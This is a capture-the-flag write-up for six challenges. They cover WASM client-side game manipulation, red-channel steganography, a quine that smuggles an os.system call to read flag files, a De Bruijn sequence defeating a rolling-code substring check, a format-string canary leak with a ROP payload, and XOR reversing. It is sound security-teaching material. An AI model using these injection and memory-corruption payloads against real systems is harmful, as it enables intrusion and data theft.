Dubious Doubloon
Recon
The challenge presented a browser-based coin-flip game where achieving a streak of heads was required. However, flips consistently resulted in tails, suggesting the outcome logic wasn't purely probabilistic.
Inspecting the frontend revealed that the game logic was backed by a WebAssembly module. The application exposed the following functions:
buy_upgrade()flip_coin()get_state()
This indicated that the core game state and logic lived client-side inside WASM rather than being enforced server-side.
WASM Analysis
Opening the loaded module showed that the exported functions could be called directly from the browser console. To enumerate them:
import("/pkg/unfair_wasm_game.js").then(m => {
console.log(Object.getOwnPropertyNames(m));
});
This revealed that the upgrade system and coin flip logic were callable externally. The UI was just a wrapper — the game engine trusted the client.
State Manipulation
Instead of playing normally, the approach was to interact directly with the WASM instance. The module was initialized manually:
const mod = await import("/pkg/unfair_wasm_game.js");
const inst = await mod.default();
Once initialized, the internal memory and exported functions became accessible:
- Upgrades could be triggered programmatically
- Flip results could be read directly from memory
- State checks could be bypassed
All ship upgrades were maxed to level 5 using the exposed upgrade interface.
Exploit
After upgrades were forced to their maximum level, a brute-force interaction loop was used against the WASM coin flip logic.
const mod = await import("/pkg/unfair_wasm_game.js");
const inst = await mod.default();
for (let mode = 0; mode < 500; mode++) {
for (let arg = 0; arg < 500; arg++) {
try {
const res = inst.flip_coin(mode, arg);
const mem = new Uint8Array(inst.memory.buffer);
let text = "";
for (let i = 0; i < res[1]; i++) {
text += String.fromCharCode(mem[res[0] + i]);
}
if (text.length > 10 && text !== "HEADS" && text !== "TAILS") {
console.log("RESULT:", text);
throw "FLAG FOUND";
}
} catch (e) {}
}
}
Instead of returning normal outcomes, the WASM memory eventually revealed a hidden string.
Root Cause
- Storing game state entirely client-side
- Exposing internal WASM functions publicly
- No server-side validation of win conditions
- Allowing direct manipulation via DevTools
PNG (Polly_Needs_Grog)
Recon
The challenge provided a PNG image of the ship's bird behaving strangely, hinting that hidden information might be embedded within the image itself.
Initial inspection showed no metadata, embedded files, or readable strings. This suggested the presence of visual steganography rather than file-based hiding.
Channel Analysis
The image was analyzed by isolating individual RGB channels to determine whether hidden pixel data existed within a specific color plane.
- Alpha channel — no hidden data
- Blue channel — empty
- Green channel — empty
- Red channel — abnormal intensity distribution observed
Boosting the red channel's intensity exposed hidden visual content that was not visible in the original RGB composite.
The flag was embedded directly within the red color channel and became visible only after isolating and amplifying that channel. The image appeared normal when viewed as a full RGB composite, effectively masking the hidden data.
Technique
- RGB channel separation
- Pixel intensity amplification
- Visual steganography detection
The Boy is Quine
Recon
The challenge exposed a remote service that prompted the user to submit a quine — a program that outputs its own source code when executed.
$ nc chal.bearcatctf.io 31806 Give me a quine
Analysis
The service validated whether the submitted code was a true quine by comparing the input with the program's stdout after execution. If it matched exactly, the input was accepted.
Crucially, once accepted, the code was executed again — effectively allowing arbitrary Python execution after passing the quine validation step.
Vulnerability
- User-supplied Python code was executed directly
- Quine validation acted as the only gate
- No sandboxing or syscall restriction
- Code executed again after validation
Exploit
A Python quine was crafted that printed its own source to satisfy validation while embedding a payload to retrieve the flag from common filesystem locations.
a='a=%r;import sys,os,getpass;sys.stdout.write(a%%a);getpass.getuser()!="quine" and os.system("cat flag.txt 2>/dev/null || cat /home/quine/flag.txt 2>/dev/null || cat /home/ctf/flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /challenge/flag 2>/dev/null")';import sys,os,getpass;sys.stdout.write(a%a);getpass.getuser()!="quine" and os.system("cat flag.txt 2>/dev/null || cat /home/quine/flag.txt 2>/dev/null || cat /home/ctf/flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /challenge/flag 2>/dev/null")
The quine satisfied the equality check, then executed the embedded command, resulting in remote command execution and flag retrieval.
Root Cause
- Execution of untrusted Python input
- Reliance on quine validation as a security boundary
- No isolation or sandboxing
- Direct filesystem command access via Python runtime
Da Brown's Revenge
Recon
The service simulated a rolling-code garage-door style authentication mechanism. Each request required a binary access string, and the system validated whether the correct code appeared within it.
$ nc chal.bearcatctf.io 19679
After each successful submission, the service reported progress toward 20 successful validations before revealing the flag.
Behavior Analysis
Observing responses showed that the server was not verifying equality with a generated code, but instead checking whether the correct binary sequence appeared anywhere inside the submitted input string.
This meant the problem was not predicting the rolling code — it was ensuring the generated value would appear as a substring of the payload.
The challenge reduced to a coverage problem. If the payload contained all possible 12-bit combinations, any generated code would be matched automatically by the server's substring check.
Exploit — De Bruijn Sequence
A De Bruijn sequence was generated for binary values of length 12, producing a minimal cyclic string that contains every possible 12-bit pattern exactly once.
import sys
def debruijn(k, n):
a = [0]*(k*n)
sequence = []
def db(t, p):
if t > n:
if n % p == 0:
sequence.extend(a[1:p+1])
else:
a[t] = a[t-p]
db(t+1, p)
for j in range(a[t-p]+1, k):
a[t] = j
db(t+1, t)
db(1,1)
return ''.join(str(i) for i in sequence)
payload = debruijn(2,12)
for _ in range(25):
print(payload)
sys.stdout.flush()
This payload ensured that every server-generated 12-bit rolling code would appear within the submitted string, allowing consecutive validations to succeed automatically.
Correct Access Code, 1 out of 20
Correct Access Code, 2 out of 20
...
Correct Access Code, 20 out of 20
Root Cause
- Rolling code verified via substring search
- No requirement for exact match
- No rate limiting or attempt validation
- Predictability replaced by coverage exploit
Treasure Hunter
Recon
$ nc chal.bearcatctf.io 28799 Welcome pirate! But first what is your name pirate?
The name input was directly reflected back without sanitization, indicating a potential format string vulnerability.
Stage 1 — Canary Leak
Supplying a format string such as %13$p revealed stack values. This allowed extraction of the stack canary required to bypass stack protection.
p.recvuntil(b"name pirate? ") p.sendline(b"%13$p") p.recvuntil(b"Hello ") canary = int(p.recvline().strip().split(b"0x")[1], 16)
The leaked value was the stack canary, which protects against buffer overflows.
Stage 2 — Buffer Overflow & ROP Chain
After leaking the canary, the second input prompt allowed overflowing a buffer controlling the return address. The exploit preserved the correct canary value and constructed a ROP chain to redirect execution to the hidden win function.
payload = b"A"*40 payload += p64(canary) payload += b"B"*8 payload += p64(pop_rdi) payload += p64(6) payload += p64(pop_rsi) payload += p64(7) payload += p64(win) p.send(payload + b"\n")
Root Cause
- Format string vulnerability allowed stack disclosure
- Stack canary leaked from memory
- Buffer overflow enabled return address control
- No PIE — predictable function addresses
What's a Pirate's Favorite Programming Language?
Recon
The challenge provided a binary along with a hint referencing multiple programming languages except C, implying input validation logic. Running strings on the binary revealed an embedded constant string and transformation logic.
strings FavoriteProgrammingLanguage
Binary Analysis
The binary compared transformed user input against the constant:
CA@PC}Wz:~<uR;[_?T;}[XE$%2#|
The transformation applied a position-dependent XOR operation:
- Characters 1–14 → XOR with index
i - Characters 15–28 → XOR with
(29 - i)
Since XOR is reversible (A ^ B ^ B = A), the operation could be inverted to recover the original input string.
Reversing Script
ct = "CA@PC}Wz:~<uR;[_?T;}[XE$%2#|"
result = []
for i, c in enumerate(ct):
ascii_val = ord(c)
if i < 14:
mask = i + 1
else:
mask = 29 - (i + 1)
original = ascii_val ^ mask
result.append(chr(original))
print("".join(result))
Root Cause
- Flag derivation logic embedded directly in binary
- Position-based XOR masking
- Reversible transformation with no additional obfuscation
- Static analysis sufficient for recovery